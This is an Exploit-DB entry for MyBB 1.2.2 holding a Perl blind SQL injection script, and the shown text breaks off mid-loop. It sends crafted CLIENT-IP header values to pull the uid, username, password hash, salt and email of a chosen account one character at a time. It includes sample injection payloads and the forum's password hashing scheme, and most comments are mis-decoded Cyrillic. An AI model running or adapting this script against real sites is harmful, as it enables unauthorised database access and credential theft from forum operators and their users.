Exploit-DB #3719
Description: MyBulletinBoard (MyBB) 1.2.2 - 'CLIENT-IP' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-12
Author: Elekt

Exploit:
#!/usr/bin/perl
###########################################################
#########################  LOGO  ##########################
###########################################################
#     Mybb <= 1.2.2 Remote SQL Injecton Exploit v.2.0     #
#                                                         #
#       [u]used:   SQL CLIENT_IP vulnerability            #
#       [!]need:   Mysql >= 4.1                           #
#       [w]work:   blind sql-inj                          #
#       [g]google: Powered By MyBB                        #
#                                                         #
#               coded by Elekt (antichat.ru)              #
###########################################################
#######################  Coments  #########################
###########################################################
#
# ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ðµ:
# Ð Ð°Ð±Ð¾Ñ‚Ð° ÑÐºÑÐ¿Ð»Ð¾Ð¹Ñ‚Ð° Ð¾ÑÐ½Ð¾Ð²Ð°Ð½Ð° Ð½Ð° sql-Ð¸Ð½ÑŠÐµÐºÑ†Ð¸Ð¸ Ð² HTTP_CLIENT_IP.
# ÐÐµÐ°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·Ð¾Ð²Ð°Ð½Ð½Ñ‹Ð¹ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒ Ð¼Ð¾Ð¶ÐµÑ‚ Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÑŒ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð»ÑŒÐ½Ñ‹Ð¹ SQL-Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð² Ð±Ð°Ð·Ñƒ.
#
# http://host.com/mybb/index.php
# MySQL error: 1064
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '">'' at line 3
# Query: DELETE FROM mybb_sessions WHERE ip=''">'
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Ð­Ñ‚Ð¾ Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÑÐºÑÐ¿Ð»Ð¾Ð¹Ñ‚Ð°. 
# ÐœÐ½Ð¾Ð¹ Ð±Ñ‹Ð» Ð½Ð°Ð¹Ð´ÐµÐ½ ÑÐ¿Ð¾ÑÐ¾Ð± Ð¾Ñ‚ÐºÐ°Ð·Ð°Ñ‚ÑŒÑÑ Ð¾Ñ‚ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ benchmark,
# Ñ‡Ñ‚Ð¾ Ð¿Ð¾Ð·Ð²Ð¾Ð»ÑÐµÑ‚ ÑƒÑÐºÐ¾Ñ€Ð¸Ñ‚ÑŒ Ñ€Ð°Ð±Ð¾Ñ‚Ñƒ ÑÐºÑÐ¿Ð»Ð¾Ð¹Ñ‚Ð°, Ð¿Ð¾Ð²Ñ‹ÑÐ¸Ñ‚ÑŒ Ð½Ð°Ð´ÐµÐ¶Ð½Ð¾ÑÑ‚ÑŒ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð½Ñ‹Ñ… Ð´Ð°Ð½Ð½Ñ‹Ñ….
# 
# Ð Ð°Ð±Ð¾Ñ‚Ð° ÑÐºÑÐ¿Ð»Ð¾Ð¹Ñ‚Ð° Ð¾ÑÐ½Ð¾Ð²Ð°Ð½Ð° Ð½Ð° Ð¿Ñ€Ð¾Ð²Ð¾Ñ†Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ð¸ "Subquery returns more than 1 row" Ð¾ÑˆÐ¸Ð±ÐºÐ¸,
# Ñ‡Ñ‚Ð¾ Ð¿Ð¾Ð·Ð²Ð¾Ð»ÑÐµÑ‚ Ð¿Ñ€Ð¾Ð¸Ð·Ð²ÐµÑÑ‚Ð¸ blind-sql-inj: 
# 
# mybb
# match: "Subquery returns more than 1 row"
# CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>1,password,uid))<5)/*
# CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>254,password,uid))<5)/*
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# 
# ÐŸÐ¾Ð»ÐµÐ·Ð½Ñ‹Ðµ Ñ‚Ð°Ð±Ð»Ð¸Ñ†Ñ‹ Ð¸ Ð¿Ð¾Ð»Ñ:
# mybb_1.2.1: mybb_users - uid,username,password,salt,email,loginkey,icq,aim,regip
# 
# ÐÐ»Ð³Ð¾Ñ€Ð¸Ñ‚Ð¼ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¹ Ð² mybb:
# md5(md5($salt).md5($password))
# generate_salt{return random_str(8);}
# 
###########################################################
#########################  init  ###########################
###########################################################

use LWP::UserAgent; 
$sock = LWP::UserAgent->new();

$|=1;

&header();


###########################################################
#######################  Options  #########################
###########################################################

if (@ARGV < 2) {&info(); exit();}

$host = $ARGV[0]; # ÑÐµÑ€Ð²Ð°Ðº
$dir = $ARGV[1];  # Ð´Ð¸Ñ€Ð° Ñ Ñ„Ð¾Ñ€ÑƒÐ¼Ð¾Ð¼
$uid = 2;         # Ð°ÐºÐº Ð°Ð´Ð¼Ð¸Ð½Ð° Ð¿Ð¾ Ð´ÐµÑ„Ð°ÑƒÐ»Ñ‚Ñƒ
$uid = $ARGV[2] if $ARGV[2];

$debug = 0;            # Ñ€ÐµÐ¶Ð¸Ð¼ Ð¾Ñ‚Ð»Ð°Ð´ÐºÐ¸
$space = "char(58)";   # Ñ€Ð°Ð·Ð´ÐµÐ»Ð¸Ñ‚ÐµÐ»ÑŒ ÑÑ‚Ð¾Ð»Ð±Ñ†Ð¾Ð²
#$search = "password";  # Ñ‡Ñ‚Ð¾ Ð±Ñ€ÑƒÑ‚Ð¸Ð¼, ÑÐ¾Ð±ÑÑ‚Ð²ÐµÐ½Ð½Ð¾...
#$search = "concat(uid,$space,password,$space,salt)"; # uid:password:salt
$search = "concat(uid,$space,username,$space,password,$space,salt,$space,email)"; # uid:username:password:salt:email
$search = $ARGV[3] if $ARGV[3];

# $presetascii - Ð´Ð¸Ð°Ð¿Ð°Ð·Ð¾Ð½ ascii-ÐºÐ¾Ð´Ð¾Ð² Ð´Ð»Ñ Ð±Ñ€ÑƒÑ‚Ð° Ð²ÐµÑ€Ð¾ÑÑ‚Ð½Ñ‹Ñ… Ð´Ð°Ð½Ð½Ñ‹Ñ…
# $presetascii = "[PII_REDACTED]abcdef";
# $presetascii = "[PII_REDACTED]"
# $presetascii = "abcdefghijklmnopqrstuvwxyz"
# $presetascii = "[PII_REDACTED]abcdefghijklmnopqrstuvwxyz"
# $presetascii = "Ð°Ð±Ð²Ð³Ð´ÐµÑ‘Ð¶Ð·Ð¸Ð¹ÐºÐ»Ð¼Ð½Ð¾Ð¿Ñ€ÑÑ‚ÑƒÑ„Ñ…Ñ†Ñ‡ÑˆÑ‰ÑŠÑ‹ÑŒÑÑŽÑ");
# Ñ†Ð¸ÐºÐ», Ð´Ð»Ñ Ð¿Ñ€Ð¾ÑÑ‚Ð¾Ñ‚Ñ‹ Ð·Ð°Ð´Ð°Ñ‘Ñ‚ Ð²ÑÐµ ÑÐ¸Ð¼Ð²Ð¾Ð»Ñ‹ Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ±Ð¾Ñ€Ð° 
$i=0;
while($i<=255){
$presetascii.=chr($i);$i++;
}

###########################################################
#########################  go!  ###########################
###########################################################


$time=localtime;
&log ("[i] Start time  $time\n");
&log ("[+] HOST \"$host\"\n");
&log ("[+] DIR  \"$dir\"\n");
&log ("[+] UID  \"$uid\"\n");
&log ("[+] Search  \"$search\"\n");

###########################################################
###### detecting vulnerability and searching prefix #######
###########################################################

# detecting vulnerability and searching prefix
&log ("[~] Testing forum vulnerabile... ");
$q = "";
$prefix=query($q,$host,$dir);
if($prefix ne "not_find"){&log ("Yes! Forum vulnerable!\n");sleep(1);&log ("[~] Searching prefix...");sleep(1);&log (" prefix find - \"$prefix\"\n"); }
else 
    {
     &log ("Sorry. Forum unvulnerable\n");
	 &footer();
     exit();
    }


###########################################################
#####################   brutforce   #######################
###########################################################

# brutforce
&log ("[~] Brutforce begin! it may take some time, plz, wait...\n");
$kol=1;
for ($control=0;$control==0;){
   &log("\n---------------- Simvol $kol ----------------\n\n") if $debug;
   $amin = 1;
   $amax = length($presetascii)-1;
   $n=0;

   # ÐµÑÐ»Ð¸ Ð´Ð¸Ð°Ð¿Ð°Ð·Ð¾Ð½ 4 Ð¸ Ð±Ð¾Ð»ÐµÐµ ÑÐ¸Ð¼Ð²Ð¾Ð»Ð¾Ð², Ð¿ÐµÑ€ÐµÐ¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÑÐµÐ¼ Ð´Ð¸Ð°Ð¿Ð°Ð·Ð¾Ð½, ÑƒÐ¼ÐµÐ½ÑŒÑˆÐ°Ñ ÐµÐ³Ð¾ Ð² 2 Ñ€Ð°Ð·Ð°
   while (($amax-$amin)>=4){
        print ("-> Try ".ord(substr($presetascii,$amin,1))." .. ".ord(substr($presetascii,$amax,1))." -> ") if $debug;;
	#$